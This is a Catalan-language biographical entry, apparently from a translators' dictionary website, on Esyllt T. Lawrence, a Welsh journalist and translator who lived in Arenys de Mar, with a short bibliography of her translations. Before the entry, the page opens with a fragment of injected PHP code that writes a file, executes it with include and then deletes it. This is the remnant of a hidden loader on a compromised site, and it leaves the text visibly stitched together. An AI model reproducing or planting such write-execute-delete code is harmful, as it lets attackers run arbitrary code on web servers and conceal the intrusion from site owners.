");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Lawrence, Esyllt T.
Facebook Twitter
Lawrence, Esyllt T. (Morriston, País de Gal·les, 1917-1995). Periodista, assagista i assessora literària. Llicenciada a Cambridge en llengües modernes (alemany i francès), a Mèxic va conèixer Lluís Ferran de Pol i, així, va entrar en contacte amb la cultura catalana. Des que el 1948 es va instal·lar a Arenys de Mar, va emprendre nombroses iniciatives per tal d’agermanar el País de Gal·les i els Països Catalans, entre les quals sobresurt la redacció dels articles que concerneixen Gal·les de la Gran Enciclopèdia Catalana. Va traduir diverses novel·les alemanyes, angleses i franceses a l’espanyol per a l’editorial Albatros, a Mèxic, i per a Janés i Plaza & Janés. Del castellà a l’anglès, amb el pseudònim de Betty Morris, va traslladar una sèrie de guies turístiques de les principals ciutats espanyoles; del català al gal·lès, algunes obres de Ferran de Pol i una selecció de rondalles i llegendes catalanes; i del gal·lès al català, la peça teatral La corda del penjat de Saunders Lewis (en col·laboració amb Ferran de Pol) i la novel·la La masia del turó de Tegla Davies, totes dues encapçalades amb unes concises introduccions a la literatura gal·lesa de to punyent i vindicatiu. [Montserrat Bacardí]
LEWIS, Saunders. La corda del penjat. Barcelona: Joaquim Horta, 1962. [Amb Lluís Ferran de Pol]
DAVIES, Tegla. La masia del turó. Història de l’època de la Guerra del Delme [Gwr Pen y Bryn]. Barcelona: Proa, 1985.
Esyllt T. Lawrence, filla adoptiva de la Vila. Quaderns d’Estudis Arenyencs 4 (setembre 1997).
GARCIA RAFFI, Josep-Vicent; MANUEL CUENCA, Carme. Esyllt T. Lawrence, una gal·lesa entre dracs. València: UV, 2007.
Amb el suport de: